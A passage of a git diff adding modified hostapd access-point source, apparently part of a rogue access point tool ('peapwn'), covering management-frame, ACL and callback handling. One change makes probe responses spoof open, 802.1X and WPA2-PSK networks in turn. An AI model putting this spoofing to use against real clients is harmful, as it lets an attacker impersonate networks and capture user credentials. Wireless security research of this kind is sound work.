" + "frame (len=%lu)", (unsigned long) len); + return; + } + + ieee802_11_sa_query_action(hapd, mgmt->sa, + mgmt->u.action.u.sa_query_resp.action, + mgmt->u.action.u.sa_query_resp.trans_id); +} + + +static int robust_action_frame(u8 category) +{ + return category != WLAN_ACTION_PUBLIC && + category != WLAN_ACTION_HT; +} +#endif /* CONFIG_IEEE80211W */ + + +#ifdef CONFIG_WNM +static void hostapd_wnm_action(struct hostapd_data *hapd, struct sta_info *sta, + const struct ieee80211_mgmt *mgmt, + size_t len) +{ + struct rx_action action; + if (len < IEEE80211_HDRLEN + 2) + return; + os_memset(&action, 0, sizeof(action)); + action.da = mgmt->da; + action.sa = mgmt->sa; + action.bssid = mgmt->bssid; + action.category = mgmt->u.action.category; + action.data = (const u8 *) &mgmt->u.action.u.wnm_sleep_req.action; + action.len = len - IEEE80211_HDRLEN - 1; + action.freq = hapd->iface->freq; + ieee802_11_rx_wnm_action_ap(hapd, &action); +} +#endif /* CONFIG_WNM */ + + +static void handle_action(struct hostapd_data *hapd, + const struct ieee80211_mgmt *mgmt, size_t len) +{ + struct sta_info *sta; + sta = ap_get_sta(hapd, mgmt->sa); + + if (len < IEEE80211_HDRLEN + 1) { + hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "handle_action - too short payload (len=%lu)", + (unsigned long) len); + return; + } + + if (mgmt->u.action.category != WLAN_ACTION_PUBLIC && + (sta == NULL || !(sta->flags & WLAN_STA_ASSOC))) { + wpa_printf(MSG_DEBUG, "IEEE 802.11: Ignored Action " + "frame (category=%u) from unassociated STA " MACSTR, + MAC2STR(mgmt->sa), mgmt->u.action.category); + return; + } + +#ifdef CONFIG_IEEE80211W + if (sta && (sta->flags & WLAN_STA_MFP) && + !(mgmt->frame_control & host_to_le16(WLAN_FC_ISWEP) && + robust_action_frame(mgmt->u.action.category))) { + hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "Dropped unprotected Robust Action frame from " + "an MFP STA"); + return; + } +#endif /* CONFIG_IEEE80211W */ + + switch (mgmt->u.action.category) { +#ifdef CONFIG_IEEE80211R + case WLAN_ACTION_FT: + if (wpa_ft_action_rx(sta->wpa_sm, (u8 *) &mgmt->u.action, + len - IEEE80211_HDRLEN)) + break; + return; +#endif /* CONFIG_IEEE80211R */ + case WLAN_ACTION_WMM: + hostapd_wmm_action(hapd, mgmt, len); + return; +#ifdef CONFIG_IEEE80211W + case WLAN_ACTION_SA_QUERY: + hostapd_sa_query_action(hapd, mgmt, len); + return; +#endif /* CONFIG_IEEE80211W */ +#ifdef CONFIG_WNM + case WLAN_ACTION_WNM: + hostapd_wnm_action(hapd, sta, mgmt, len); + return; +#endif /* CONFIG_WNM */ + case WLAN_ACTION_PUBLIC: + if (hapd->public_action_cb) { + hapd->public_action_cb(hapd->public_action_cb_ctx, + (u8 *) mgmt, len, + hapd->iface->freq); + } + if (hapd->public_action_cb2) { + hapd->public_action_cb2(hapd->public_action_cb2_ctx, + (u8 *) mgmt, len, + hapd->iface->freq); + } + if (hapd->public_action_cb || hapd->public_action_cb2) + return; + break; + case WLAN_ACTION_VENDOR_SPECIFIC: + if (hapd->vendor_action_cb) { + if (hapd->vendor_action_cb(hapd->vendor_action_cb_ctx, + (u8 *) mgmt, len, + hapd->iface->freq) == 0) + return; + } + break; + } + + hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "handle_action - unknown action category %d or invalid " + "frame", + mgmt->u.action.category); + if (!(mgmt->da[0] & 0x01) && !(mgmt->u.action.category & 0x80) && + !(mgmt->sa[0] & 0x01)) { + struct ieee80211_mgmt *resp; + + /* + * IEEE 802.11-REVma/D9.0 - 7.3.1.11 + * Return the Action frame to the source without change + * except that MSB of the Category set to 1. + */ + wpa_printf(MSG_DEBUG, "IEEE 802.11: Return unknown Action " + "frame back to sender"); + resp = os_malloc(len); + if (resp == NULL) + return; + os_memcpy(resp, mgmt, len); + os_memcpy(resp->da, resp->sa, ETH_ALEN); + os_memcpy(resp->sa, hapd->own_addr, ETH_ALEN); + os_memcpy(resp->bssid, hapd->own_addr, ETH_ALEN); + resp->u.action.category |= 0x80; + + if (hostapd_drv_send_mlme(hapd, resp, len, 0) < 0) { + wpa_printf(MSG_ERROR, "IEEE 802.11: Failed to send " + "Action frame"); + } + os_free(resp); + } +} + + +/** + * ieee802_11_mgmt - process incoming IEEE 802.11 management frames + * @hapd: hostapd BSS data structure (the BSS to which the management frame was + * sent to) + * @buf: management frame data (starting from IEEE 802.11 header) + * @len: length of frame data in octets + * @fi: meta data about received frame (signal level, etc.) + * + * Process all incoming IEEE 802.11 management frames. This will be called for + * each frame received from the kernel driver through wlan#ap interface. In + * addition, it can be called to re-inserted pending frames (e.g., when using + * external RADIUS server as an MAC ACL). + */ +void ieee802_11_mgmt(struct hostapd_data *hapd, const u8 *buf, size_t len, + struct hostapd_frame_info *fi) +{ + struct ieee80211_mgmt *mgmt; + int broadcast; + u16 fc, stype; + + if (len < 24) + return; + + // Buf contains the raw data and gets cast to mgmt struct here + mgmt = (struct ieee80211_mgmt *) buf; + fc = le_to_host16(mgmt->frame_control); + stype = WLAN_FC_GET_STYPE(fc); + + if (stype == WLAN_FC_STYPE_BEACON) { + handle_beacon(hapd, mgmt, len, fi); + return; + } + + broadcast = mgmt->bssid[0] == 0xff && mgmt->bssid[1] == 0xff && + mgmt->bssid[2] == 0xff && mgmt->bssid[3] == 0xff && + mgmt->bssid[4] == 0xff && mgmt->bssid[5] == 0xff; + + if (!broadcast && +#ifdef CONFIG_P2P + /* Invitation responses can be sent with the peer MAC as BSSID */ + !((hapd->conf->p2p & P2P_GROUP_OWNER) && + stype == WLAN_FC_STYPE_ACTION) && +#endif /* CONFIG_P2P */ + os_memcmp(mgmt->bssid, hapd->own_addr, ETH_ALEN) != 0) { + wpa_printf(MSG_INFO, "MGMT: BSSID=" MACSTR " not our address", + MAC2STR(mgmt->bssid)); + return; + } + + + if (stype == WLAN_FC_STYPE_PROBE_REQ) { + if (hapd->conf->cycle_probe_response_types) { + // Do probe response as open network, 802.1X network and WPA2-PSK network + spoof_cycle_ie(hapd); + handle_probe_req(hapd, mgmt, len, fi->ssi_signal); + } else { // Normal probe response + handle_probe_req(hapd, mgmt, len, fi->ssi_signal); + } + return; + } + + if (os_memcmp(mgmt->da, hapd->own_addr, ETH_ALEN) != 0) { + hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "MGMT: DA=" MACSTR " not our address", + MAC2STR(mgmt->da)); + return; + } + + switch (stype) { + case WLAN_FC_STYPE_AUTH: + wpa_printf(MSG_DEBUG, "mgmt::auth"); + handle_auth(hapd, mgmt, len); + break; + case WLAN_FC_STYPE_ASSOC_REQ: + wpa_printf(MSG_DEBUG, "mgmt::assoc_req"); + handle_assoc(hapd, mgmt, len, 0); + break; + case WLAN_FC_STYPE_REASSOC_REQ: + wpa_printf(MSG_DEBUG, "mgmt::reassoc_req"); + handle_assoc(hapd, mgmt, len, 1); + break; + case WLAN_FC_STYPE_DISASSOC: + wpa_printf(MSG_DEBUG, "mgmt::disassoc"); + handle_disassoc(hapd, mgmt, len); + break; + case WLAN_FC_STYPE_DEAUTH: + wpa_msg(hapd->msg_ctx, MSG_DEBUG, "mgmt::deauth"); + handle_deauth(hapd, mgmt, len); + break; + case WLAN_FC_STYPE_ACTION: + wpa_printf(MSG_DEBUG, "mgmt::action"); + handle_action(hapd, mgmt, len); + break; + default: + hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "unknown mgmt frame subtype %d", stype); + break; + } +} + + +static void handle_auth_cb(struct hostapd_data *hapd, + const struct ieee80211_mgmt *mgmt, + size_t len, int ok) +{ + u16 auth_alg, auth_transaction, status_code; + struct sta_info *sta; + + if (!ok) { + hostapd_logger(hapd, mgmt->da, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_NOTICE, + "did not acknowledge authentication response"); + return; + } + + if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.auth)) { + wpa_printf(MSG_INFO, "handle_auth_cb - too short payload (len=%lu)", + (unsigned long) len); + return; + } + + auth_alg = le_to_host16(mgmt->u.auth.auth_alg); + auth_transaction = le_to_host16(mgmt->u.auth.auth_transaction); + status_code = le_to_host16(mgmt->u.auth.status_code); + + sta = ap_get_sta(hapd, mgmt->da); + if (!sta) { + wpa_printf(MSG_INFO, "handle_auth_cb: STA " MACSTR " not found", + MAC2STR(mgmt->da)); + return; + } + + if (status_code == WLAN_STATUS_SUCCESS && + ((auth_alg == WLAN_AUTH_OPEN && auth_transaction == 2) || + (auth_alg == WLAN_AUTH_SHARED_KEY && auth_transaction == 4))) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "authenticated"); + sta->flags |= WLAN_STA_AUTH; + } +} + + +static void hostapd_set_wds_encryption(struct hostapd_data *hapd, + struct sta_info *sta, + char *ifname_wds) +{ + int i; + struct hostapd_ssid *ssid = sta->ssid; + + if (hapd->conf->ieee802_1x || hapd->conf->wpa) + return; + + for (i = 0; i < 4; i++) { + if (ssid->wep.key[i] && + hostapd_drv_set_key(ifname_wds, hapd, WPA_ALG_WEP, NULL, i, + i == ssid->wep.idx, NULL, 0, + ssid->wep.key[i], ssid->wep.len[i])) { + wpa_printf(MSG_WARNING, + "Could not set WEP keys for WDS interface; %s", + ifname_wds); + break; + } + } +} + + +static void handle_assoc_cb(struct hostapd_data *hapd, + const struct ieee80211_mgmt *mgmt, + size_t len, int reassoc, int ok) +{ + u16 status; + struct sta_info *sta; + int new_assoc = 1; + struct ieee80211_ht_capabilities ht_cap; + struct ieee80211_vht_capabilities vht_cap; + + if (len < IEEE80211_HDRLEN + (reassoc ? sizeof(mgmt->u.reassoc_resp) : + sizeof(mgmt->u.assoc_resp))) { + wpa_printf(MSG_INFO, "handle_assoc_cb(reassoc=%d) - too short payload (len=%lu)", + reassoc, (unsigned long) len); + return; + } + + sta = ap_get_sta(hapd, mgmt->da); + if (!sta) { + wpa_printf(MSG_INFO, "handle_assoc_cb: STA " MACSTR " not found", + MAC2STR(mgmt->da)); + return; + } + + if (!ok) { + hostapd_logger(hapd, mgmt->da, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "did not acknowledge association response"); + sta->flags &= ~WLAN_STA_ASSOC_REQ_OK; + return; + } + + if (reassoc) + status = le_to_host16(mgmt->u.reassoc_resp.status_code); + else + status = le_to_host16(mgmt->u.assoc_resp.status_code); + + if (status != WLAN_STATUS_SUCCESS) + goto fail; + + /* Stop previous accounting session, if one is started, and allocate + * new session id for the new session. */ + accounting_sta_stop(hapd, sta); + + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, + "associated (aid %d)", + sta->aid); + + if (sta->flags & WLAN_STA_ASSOC) + new_assoc = 0; + sta->flags |= WLAN_STA_ASSOC; + if ((!hapd->conf->ieee802_1x && !hapd->conf->wpa) || + sta->auth_alg == WLAN_AUTH_FT) { + /* + * Open, static WEP, or FT protocol; no separate authorization + * step. + */ + ap_sta_set_authorized(hapd, sta, 1); + } + + if (reassoc) + mlme_reassociate_indication(hapd, sta); + else + mlme_associate_indication(hapd, sta); + +#ifdef CONFIG_IEEE80211W + sta->sa_query_timed_out = 0; +#endif /* CONFIG_IEEE80211W */ + + /* + * Remove the STA entry in order to make sure the STA PS state gets + * cleared and configuration gets updated in case of reassociation back + * to the same AP. + */ + hostapd_drv_sta_remove(hapd, sta->addr); + +#ifdef CONFIG_IEEE80211N + if (sta->flags & WLAN_STA_HT) + hostapd_get_ht_capab(hapd, sta->ht_capabilities, &ht_cap); +#endif /* CONFIG_IEEE80211N */ +#ifdef CONFIG_IEEE80211AC + if (sta->flags & WLAN_STA_VHT) + hostapd_get_vht_capab(hapd, sta->vht_capabilities, &vht_cap); +#endif /* CONFIG_IEEE80211AC */ + + if (hostapd_sta_add(hapd, sta->addr, sta->aid, sta->capability, + sta->supported_rates, sta->supported_rates_len, + sta->listen_interval, + sta->flags & WLAN_STA_HT ? &ht_cap : NULL, + sta->flags & WLAN_STA_VHT ? &vht_cap : NULL, + sta->flags, sta->qosinfo)) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_NOTICE, + "Could not add STA to kernel driver"); + + ap_sta_disconnect(hapd, sta, sta->addr, + WLAN_REASON_DISASSOC_AP_BUSY); + + goto fail; + } + + if (sta->flags & WLAN_STA_WDS) { + int ret; + char ifname_wds[IFNAMSIZ + 1]; + + ret = hostapd_set_wds_sta(hapd, ifname_wds, sta->addr, + sta->aid, 1); + if (!ret) + hostapd_set_wds_encryption(hapd, sta, ifname_wds); + } + + if (sta->eapol_sm == NULL) { + /* + * This STA does not use RADIUS server for EAP authentication, + * so bind it to the selected VLAN interface now, since the + * interface selection is not going to change anymore. + */ + if (ap_sta_bind_vlan(hapd, sta, 0) < 0) + goto fail; + } else if (sta->vlan_id) { + /* VLAN ID already set (e.g., by PMKSA caching), so bind STA */ + if (ap_sta_bind_vlan(hapd, sta, 0) < 0) + goto fail; + } + + hostapd_set_sta_flags(hapd, sta); + + if (sta->auth_alg == WLAN_AUTH_FT) + wpa_auth_sm_event(sta->wpa_sm, WPA_ASSOC_FT); + else + wpa_auth_sm_event(sta->wpa_sm, WPA_ASSOC); + hapd->new_assoc_sta_cb(hapd, sta, !new_assoc); + + ieee802_1x_notify_port_enabled(sta->eapol_sm, 1); + + fail: + /* Copy of the association request is not needed anymore */ + if (sta->last_assoc_req) { + os_free(sta->last_assoc_req); + sta->last_assoc_req = NULL; + } +} + + +static void handle_deauth_cb(struct hostapd_data *hapd, + const struct ieee80211_mgmt *mgmt, + size_t len, int ok) +{ + struct sta_info *sta; + if (mgmt->da[0] & 0x01) + return; + sta = ap_get_sta(hapd, mgmt->da); + if (!sta) { + wpa_printf(MSG_DEBUG, "handle_deauth_cb: STA " MACSTR + " not found", MAC2STR(mgmt->da)); + return; + } + if (ok) + wpa_printf(MSG_DEBUG, "STA " MACSTR " acknowledged deauth", + MAC2STR(sta->addr)); + else + wpa_printf(MSG_DEBUG, "STA " MACSTR " did not acknowledge " + "deauth", MAC2STR(sta->addr)); + + ap_sta_deauth_cb(hapd, sta); +} + + +static void handle_disassoc_cb(struct hostapd_data *hapd, + const struct ieee80211_mgmt *mgmt, + size_t len, int ok) +{ + struct sta_info *sta; + if (mgmt->da[0] & 0x01) + return; + sta = ap_get_sta(hapd, mgmt->da); + if (!sta) { + wpa_printf(MSG_DEBUG, "handle_disassoc_cb: STA " MACSTR + " not found", MAC2STR(mgmt->da)); + return; + } + if (ok) + wpa_printf(MSG_DEBUG, "STA " MACSTR " acknowledged disassoc", + MAC2STR(sta->addr)); + else + wpa_printf(MSG_DEBUG, "STA " MACSTR " did not acknowledge " + "disassoc", MAC2STR(sta->addr)); + + ap_sta_disassoc_cb(hapd, sta); +} + + +/** + * ieee802_11_mgmt_cb - Process management frame TX status callback + * @hapd: hostapd BSS data structure (the BSS from which the management frame + * was sent from) + * @buf: management frame data (starting from IEEE 802.11 header) + * @len: length of frame data in octets + * @stype: management frame subtype from frame control field + * @ok: Whether the frame was ACK'ed + */ +void ieee802_11_mgmt_cb(struct hostapd_data *hapd, const u8 *buf, size_t len, + u16 stype, int ok) +{ + const struct ieee80211_mgmt *mgmt; + mgmt = (const struct ieee80211_mgmt *) buf; + + switch (stype) { + case WLAN_FC_STYPE_AUTH: + wpa_printf(MSG_DEBUG, "mgmt::auth cb"); + handle_auth_cb(hapd, mgmt, len, ok); + break; + case WLAN_FC_STYPE_ASSOC_RESP: + wpa_printf(MSG_DEBUG, "mgmt::assoc_resp cb"); + handle_assoc_cb(hapd, mgmt, len, 0, ok); + break; + case WLAN_FC_STYPE_REASSOC_RESP: + wpa_printf(MSG_DEBUG, "mgmt::reassoc_resp cb"); + handle_assoc_cb(hapd, mgmt, len, 1, ok); + break; + case WLAN_FC_STYPE_PROBE_RESP: + wpa_printf(MSG_EXCESSIVE, "mgmt::proberesp cb"); + break; + case WLAN_FC_STYPE_DEAUTH: + wpa_printf(MSG_DEBUG, "mgmt::deauth cb"); + handle_deauth_cb(hapd, mgmt, len, ok); + break; + case WLAN_FC_STYPE_DISASSOC: + wpa_printf(MSG_DEBUG, "mgmt::disassoc cb"); + handle_disassoc_cb(hapd, mgmt, len, ok); + break; + case WLAN_FC_STYPE_ACTION: + wpa_printf(MSG_DEBUG, "mgmt::action cb"); + break; + default: + wpa_printf(MSG_INFO, "unknown mgmt cb frame subtype %d", stype); + break; + } +} + + +int ieee802_11_get_mib(struct hostapd_data *hapd, char *buf, size_t buflen) +{ + /* TODO */ + return 0; +} + + +int ieee802_11_get_mib_sta(struct hostapd_data *hapd, struct sta_info *sta, + char *buf, size_t buflen) +{ + /* TODO */ + return 0; +} + + +void hostapd_tx_status(struct hostapd_data *hapd, const u8 *addr, + const u8 *buf, size_t len, int ack) +{ + struct sta_info *sta; + struct hostapd_iface *iface = hapd->iface; + + sta = ap_get_sta(hapd, addr); + if (sta == NULL && iface->num_bss > 1) { + size_t j; + for (j = 0; j < iface->num_bss; j++) { + hapd = iface->bss[j]; + sta = ap_get_sta(hapd, addr); + if (sta) + break; + } + } + if (sta == NULL || !(sta->flags & WLAN_STA_ASSOC)) + return; + if (sta->flags & WLAN_STA_PENDING_POLL) { + wpa_printf(MSG_DEBUG, "STA " MACSTR " %s pending " + "activity poll", MAC2STR(sta->addr), + ack ? "ACKed" : "did not ACK"); + if (ack) + sta->flags &= ~WLAN_STA_PENDING_POLL; + } + + ieee802_1x_tx_status(hapd, sta, buf, len, ack); +} + + +void hostapd_eapol_tx_status(struct hostapd_data *hapd, const u8 *dst, + const u8 *data, size_t len, int ack) +{ + struct sta_info *sta; + struct hostapd_iface *iface = hapd->iface; + + sta = ap_get_sta(hapd, dst); + if (sta == NULL && iface->num_bss > 1) { + size_t j; + for (j = 0; j < iface->num_bss; j++) { + hapd = iface->bss[j]; + sta = ap_get_sta(hapd, dst); + if (sta) + break; + } + } + if (sta == NULL || !(sta->flags & WLAN_STA_ASSOC)) { + wpa_printf(MSG_DEBUG, "Ignore TX status for Data frame to STA " + MACSTR " that is not currently associated", + MAC2STR(dst)); + return; + } + + ieee802_1x_eapol_tx_status(hapd, sta, data, len, ack); +} + + +void hostapd_client_poll_ok(struct hostapd_data *hapd, const u8 *addr) +{ + struct sta_info *sta; + struct hostapd_iface *iface = hapd->iface; + + sta = ap_get_sta(hapd, addr); + if (sta == NULL && iface->num_bss > 1) { + size_t j; + for (j = 0; j < iface->num_bss; j++) { + hapd = iface->bss[j]; + sta = ap_get_sta(hapd, addr); + if (sta) + break; + } + } + if (sta == NULL) + return; + if (!(sta->flags & WLAN_STA_PENDING_POLL)) + return; + + wpa_printf(MSG_DEBUG, "STA " MACSTR " ACKed pending " + "activity poll", MAC2STR(sta->addr)); + sta->flags &= ~WLAN_STA_PENDING_POLL; +} + + +void ieee802_11_rx_from_unknown(struct hostapd_data *hapd, const u8 *src, + int wds) +{ + struct sta_info *sta; + + sta = ap_get_sta(hapd, src); + if (sta && (sta->flags & WLAN_STA_ASSOC)) { + if (!hapd->conf->wds_sta) + return; + + if (wds && !(sta->flags & WLAN_STA_WDS)) { + int ret; + char ifname_wds[IFNAMSIZ + 1]; + + wpa_printf(MSG_DEBUG, "Enable 4-address WDS mode for " + "STA " MACSTR " (aid %u)", + MAC2STR(sta->addr), sta->aid); + sta->flags |= WLAN_STA_WDS; + ret = hostapd_set_wds_sta(hapd, ifname_wds, + sta->addr, sta->aid, 1); + if (!ret) + hostapd_set_wds_encryption(hapd, sta, + ifname_wds); + } + return; + } + + wpa_printf(MSG_DEBUG, "Data/PS-poll frame from not associated STA " + MACSTR, MAC2STR(src)); + if (src[0] & 0x01) { + /* Broadcast bit set in SA?! Ignore the frame silently. */ + return; + } + + if (sta && (sta->flags & WLAN_STA_ASSOC_REQ_OK)) { + wpa_printf(MSG_DEBUG, "Association Response to the STA has " + "already been sent, but no TX status yet known - " + "ignore Class 3 frame issue with " MACSTR, + MAC2STR(src)); + return; + } + + if (sta && (sta->flags & WLAN_STA_AUTH)) + hostapd_drv_sta_disassoc( + hapd, src, + WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA); + else + hostapd_drv_sta_deauth( + hapd, src, + WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA); +} + + +#endif /* CONFIG_NATIVE_WINDOWS */ diff --git a/peapwn/mods/hostap/src/ap/ieee802_11.h b/peapwn/mods/hostap/src/ap/ieee802_11.h new file mode 100644 index 000000000..61f13167e --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ieee802_11.h @@ -0,0 +1,85 @@ +/* + * hostapd / IEEE 802.11 Management + * Copyright (c) 2002-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef IEEE802_11_H +#define IEEE802_11_H + +struct hostapd_iface; +struct hostapd_data; +struct sta_info; +struct hostapd_frame_info; +struct ieee80211_ht_capabilities; + +void ieee802_11_mgmt(struct hostapd_data *hapd, const u8 *buf, size_t len, + struct hostapd_frame_info *fi); +void ieee802_11_mgmt_cb(struct hostapd_data *hapd, const u8 *buf, size_t len, + u16 stype, int ok); +void ieee802_11_print_ssid(char *buf, const u8 *ssid, u8 len); +#ifdef NEED_AP_MLME +int ieee802_11_get_mib(struct hostapd_data *hapd, char *buf, size_t buflen); +int ieee802_11_get_mib_sta(struct hostapd_data *hapd, struct sta_info *sta, + char *buf, size_t buflen); +#else /* NEED_AP_MLME */ +static inline int ieee802_11_get_mib(struct hostapd_data *hapd, char *buf, + size_t buflen) +{ + return 0; +} + +static inline int ieee802_11_get_mib_sta(struct hostapd_data *hapd, + struct sta_info *sta, + char *buf, size_t buflen) +{ + return 0; +} +#endif /* NEED_AP_MLME */ +u16 hostapd_own_capab_info(struct hostapd_data *hapd, struct sta_info *sta, + int probe); +u8 * hostapd_eid_ext_capab(struct hostapd_data *hapd, u8 *eid); +u8 * hostapd_eid_qos_map_set(struct hostapd_data *hapd, u8 *eid); +u8 * hostapd_eid_supp_rates(struct hostapd_data *hapd, u8 *eid); +u8 * hostapd_eid_ext_supp_rates(struct hostapd_data *hapd, u8 *eid); +u8 * hostapd_eid_ht_capabilities(struct hostapd_data *hapd, u8 *eid); +u8 * hostapd_eid_ht_operation(struct hostapd_data *hapd, u8 *eid); +u8 * hostapd_eid_vht_capabilities(struct hostapd_data *hapd, u8 *eid); +u8 * hostapd_eid_vht_operation(struct hostapd_data *hapd, u8 *eid); +int hostapd_ht_operation_update(struct hostapd_iface *iface); +void ieee802_11_send_sa_query_req(struct hostapd_data *hapd, + const u8 *addr, const u8 *trans_id); +void hostapd_get_ht_capab(struct hostapd_data *hapd, + struct ieee80211_ht_capabilities *ht_cap, + struct ieee80211_ht_capabilities *neg_ht_cap); +void hostapd_get_vht_capab(struct hostapd_data *hapd, + struct ieee80211_vht_capabilities *vht_cap, + struct ieee80211_vht_capabilities *neg_vht_cap); +u16 copy_sta_ht_capab(struct hostapd_data *hapd, struct sta_info *sta, + const u8 *ht_capab, size_t ht_capab_len); +void update_ht_state(struct hostapd_data *hapd, struct sta_info *sta); +u16 copy_sta_vht_capab(struct hostapd_data *hapd, struct sta_info *sta, + const u8 *vht_capab, size_t vht_capab_len); +void hostapd_tx_status(struct hostapd_data *hapd, const u8 *addr, + const u8 *buf, size_t len, int ack); +void hostapd_eapol_tx_status(struct hostapd_data *hapd, const u8 *dst, + const u8 *data, size_t len, int ack); +void ieee802_11_rx_from_unknown(struct hostapd_data *hapd, const u8 *src, + int wds); +u8 * hostapd_eid_assoc_comeback_time(struct hostapd_data *hapd, + struct sta_info *sta, u8 *eid); +void ieee802_11_sa_query_action(struct hostapd_data *hapd, + const u8 *sa, const u8 action_type, + const u8 *trans_id); +u8 * hostapd_eid_interworking(struct hostapd_data *hapd, u8 *eid); +u8 * hostapd_eid_adv_proto(struct hostapd_data *hapd, u8 *eid); +u8 * hostapd_eid_roaming_consortium(struct hostapd_data *hapd, u8 *eid); +u8 * hostapd_eid_time_adv(struct hostapd_data *hapd, u8 *eid); +u8 * hostapd_eid_time_zone(struct hostapd_data *hapd, u8 *eid); +int hostapd_update_time_adv(struct hostapd_data *hapd); +void hostapd_client_poll_ok(struct hostapd_data *hapd, const u8 *addr); +u8 * hostapd_eid_bss_max_idle_period(struct hostapd_data *hapd, u8 *eid); + +#endif /* IEEE802_11_H */ diff --git a/peapwn/mods/hostap/src/ap/ieee802_11_auth.c b/peapwn/mods/hostap/src/ap/ieee802_11_auth.c new file mode 100644 index 000000000..c311e5594 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ieee802_11_auth.c @@ -0,0 +1,643 @@ +/* + * hostapd / IEEE 802.11 authentication (ACL) + * Copyright (c) 2003-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * Access control list for IEEE 802.11 authentication can uses statically + * configured ACL from configuration files or an external RADIUS server. + * Results from external RADIUS queries are cached to allow faster + * authentication frame processing. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "utils/eloop.h" +#include "crypto/sha1.h" +#include "radius/radius.h" +#include "radius/radius_client.h" +#include "hostapd.h" +#include "ap_config.h" +#include "ap_drv_ops.h" +#include "ieee802_11.h" +#include "ieee802_1x.h" +#include "ieee802_11_auth.h" + +#define RADIUS_ACL_TIMEOUT 30 + + +struct hostapd_cached_radius_acl { + os_time_t timestamp; + macaddr addr; + int accepted; /* HOSTAPD_ACL_* */ + struct hostapd_cached_radius_acl *next; + u32 session_timeout; + u32 acct_interim_interval; + int vlan_id; + struct hostapd_sta_wpa_psk_short *psk; + char *identity; + char *radius_cui; +}; + + +struct hostapd_acl_query_data { + os_time_t timestamp; + u8 radius_id; + macaddr addr; + u8 *auth_msg; /* IEEE 802.11 authentication frame from station */ + size_t auth_msg_len; + struct hostapd_acl_query_data *next; +}; + + +#ifndef CONFIG_NO_RADIUS +static void hostapd_acl_cache_free_entry(struct hostapd_cached_radius_acl *e) +{ + os_free(e->identity); + os_free(e->radius_cui); + hostapd_free_psk_list(e->psk); + os_free(e); +} + + +static void hostapd_acl_cache_free(struct hostapd_cached_radius_acl *acl_cache) +{ + struct hostapd_cached_radius_acl *prev; + + while (acl_cache) { + prev = acl_cache; + acl_cache = acl_cache->next; + hostapd_acl_cache_free_entry(prev); + } +} + + +static void copy_psk_list(struct hostapd_sta_wpa_psk_short **psk, + struct hostapd_sta_wpa_psk_short *src) +{ + struct hostapd_sta_wpa_psk_short **copy_to; + struct hostapd_sta_wpa_psk_short *copy_from; + + /* Copy PSK linked list */ + copy_to = psk; + copy_from = src; + while (copy_from && copy_to) { + *copy_to = os_zalloc(sizeof(struct hostapd_sta_wpa_psk_short)); + if (*copy_to == NULL) + break; + os_memcpy(*copy_to, copy_from, + sizeof(struct hostapd_sta_wpa_psk_short)); + copy_from = copy_from->next; + copy_to = &((*copy_to)->next); + } + if (copy_to) + *copy_to = NULL; +} + + +static int hostapd_acl_cache_get(struct hostapd_data *hapd, const u8 *addr, + u32 *session_timeout, + u32 *acct_interim_interval, int *vlan_id, + struct hostapd_sta_wpa_psk_short **psk, + char **identity, char **radius_cui) +{ + struct hostapd_cached_radius_acl *entry; + struct os_time now; + + os_get_time(&now); + + for (entry = hapd->acl_cache; entry; entry = entry->next) { + if (os_memcmp(entry->addr, addr, ETH_ALEN) != 0) + continue; + + if (now.sec - entry->timestamp > RADIUS_ACL_TIMEOUT) + return -1; /* entry has expired */ + if (entry->accepted == HOSTAPD_ACL_ACCEPT_TIMEOUT) + if (session_timeout) + *session_timeout = entry->session_timeout; + if (acct_interim_interval) + *acct_interim_interval = + entry->acct_interim_interval; + if (vlan_id) + *vlan_id = entry->vlan_id; + copy_psk_list(psk, entry->psk); + if (identity) { + if (entry->identity) + *identity = os_strdup(entry->identity); + else + *identity = NULL; + } + if (radius_cui) { + if (entry->radius_cui) + *radius_cui = os_strdup(entry->radius_cui); + else + *radius_cui = NULL; + } + return entry->accepted; + } + + return -1; +} +#endif /* CONFIG_NO_RADIUS */ + + +static void hostapd_acl_query_free(struct hostapd_acl_query_data *query) +{ + if (query == NULL) + return; + os_free(query->auth_msg); + os_free(query); +} + + +#ifndef CONFIG_NO_RADIUS +static int hostapd_radius_acl_query(struct hostapd_data *hapd, const u8 *addr, + struct hostapd_acl_query_data *query) +{ + struct radius_msg *msg; + char buf[128]; + + query->radius_id = radius_client_get_id(hapd->radius); + msg = radius_msg_new(RADIUS_CODE_ACCESS_REQUEST, query->radius_id); + if (msg == NULL) + return -1; + + radius_msg_make_authenticator(msg, addr, ETH_ALEN); + + os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT, MAC2STR(addr)); + if (!radius_msg_add_attr(msg, RADIUS_ATTR_USER_NAME, (u8 *) buf, + os_strlen(buf))) { + wpa_printf(MSG_DEBUG, "Could not add User-Name"); + goto fail; + } + + if (!radius_msg_add_attr_user_password( + msg, (u8 *) buf, os_strlen(buf), + hapd->conf->radius->auth_server->shared_secret, + hapd->conf->radius->auth_server->shared_secret_len)) { + wpa_printf(MSG_DEBUG, "Could not add User-Password"); + goto fail; + } + + if (add_common_radius_attr(hapd, hapd->conf->radius_auth_req_attr, + NULL, msg) < 0) + goto fail; + + os_snprintf(buf, 